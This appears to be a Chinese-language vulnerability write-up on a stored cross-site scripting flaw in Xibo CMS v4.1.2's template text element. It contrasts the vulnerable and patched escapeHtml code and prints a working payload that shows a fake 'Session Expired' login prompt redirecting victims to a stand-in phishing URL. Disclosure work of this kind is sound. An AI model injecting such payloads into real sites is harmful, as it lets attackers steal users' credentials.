我在 Xibo CMS v4.1.2 中发现了一个 存储型跨站脚本(XSS) 漏洞。由于对用户提供的输入验证不当,该漏洞允许经过身份验证的攻击者将恶意脚本注入应用程序中。
问题出在“模板”功能中。攻击者可以构造一个包含带有恶意负载的文本元素的模板。当其他用户查看此模板时,该脚本会在他们的浏览器中执行,可能导致数据窃取或其他恶意操作。
要利用该漏洞,经过身份验证的用户必须执行以下步骤:
<script>alert(1337)</script>)。本节包含 Xibo CMS v4.1.2 中未对“文本”字段输入进行清理的具体代码片段。
'extends' => [
'override' => $moduleTemplate->extends?->override,
'with' => $moduleTemplate->extends?->with,
'escapeHtml' => $moduleTemplate->extends?->escapeHtml,
],
];
} else if ($extension !== null) {
在同一文档的另一行。
'extends' => [
'override' => $moduleTemplate->extends?->override,
'with' => $moduleTemplate->extends?->with,
'escapeHtml' => $moduleTemplate->extends?->escapeHtml,
],
];
在另一个文档中。
// Escape HTML
convertedProperties.escapeHtml = template?.extends?.escapeHtml;
// Compile hbs template with data
let hbsHtml = hbsTemplate(convertedProperties);
本节展示已打补丁的代码,其中包含适当的输入清理和输出编码机制,以中和恶意脚本。
'extends' => [
'override' => $moduleTemplate->extends?->override,
'with' => $moduleTemplate->extends?->with,
'escapeHtml' => isset($moduleTemplate->extends?->escapeHtml) ?
$moduleTemplate->extends->escapeHtml : 1,
],
];
} else if ($extension !== null) {
在同一文档的另一行。
'extends' => [
'override' => $moduleTemplate->extends?->override,
'with' => $moduleTemplate->extends?->with,
'escapeHtml' => isset($moduleTemplate->extends?->escapeHtml) ?
$moduleTemplate->extends->escapeHtml : 1,
],
];
在另一个文档中。
// Escape HTML
convertedProperties.escapeHtml =
(template?.extends?.escapeHtml === undefined) ?
true : template.extends.escapeHtml;
// Compile hbs template with data
let hbsHtml = hbsTemplate(convertedProperties);
存储的负载在受害者浏览器的上下文中执行,可用于窃取密码等敏感信息。
1. 注入负载: 攻击者将恶意脚本插入模板内的文本元素中。
我使用的脚本如下:
<script>
(function() {
// --- MAIN FUNCTION ---
function showRedirectModal() {
// 1. Create the elements
const overlay = document.createElement('div');
const modalContainer = document.createElement('div');
const title = document.createElement('h2');
const message = document.createElement('p');
const redirectButton = document.createElement('button');
// 2. Assign styles and properties
// Style for the dark overlay
Object.assign(overlay.style, {
position: 'fixed', top: '0', left: '0', width: '100%', height: '100%',
backgroundColor: 'rgba(0, 0, 0, 0.75)', zIndex: '10000',
display: 'flex', justifyContent: 'center', alignItems: 'center'
});
// Style for the modal container
Object.assign(modalContainer.style, {
padding: '40px', backgroundColor: '#fff', borderRadius: '8px',
boxShadow: '0 4px 15px rgba(0,0,0,0.2)', width: '320px',
fontFamily: 'Arial, sans-serif'
});
// Style for the title
title.textContent = 'Session Expired';
Object.assign(title.style, {
textAlign: 'center', color: '#333', marginBottom: '15px'
});
message.textContent = 'Your session has expired. Please log in again to continue.';
Object.assign(message.style, {
textAlign: 'center',
color: '#555',
marginBottom: '25px',
lineHeight: '1.5',
fontSize: '16px'
});
// Style for the redirect button
Object.assign(redirectButton.style, {
width: '100%', padding: '12px', border: 'none', borderRadius: '4px',
backgroundColor: '#007bff', color: 'white', fontSize: '16px',
cursor: 'pointer'
});
redirectButton.textContent = 'Log In Again';
// 3. Assemble the modal structure
modalContainer.appendChild(title);
modalContainer.appendChild(message);
modalContainer.appendChild(redirectButton);
overlay.appendChild(modalContainer);
// 4. Add the modal to the page
document.body.appendChild(overlay);
// 5. Define the button's behavior
redirectButton.addEventListener('click', function(e) {
e.preventDefault(); // Buena práctica
const phishingURL = 'http://my-website-example.com/login.html';
window.location.href = phishingURL;
document.body.removeChild(overlay);
});
}
// --- Initialize the function ---
showRedirectModal();
})();
</script>
2. 攻击场景: 一种常见的攻击模拟会话过期以捕获用户凭据。该脚本劫持页面并向受害者显示此弹窗。
此信息仅供教育和研究目的使用。本人不对因滥用此信息而造成的任何误用或损害承担责任。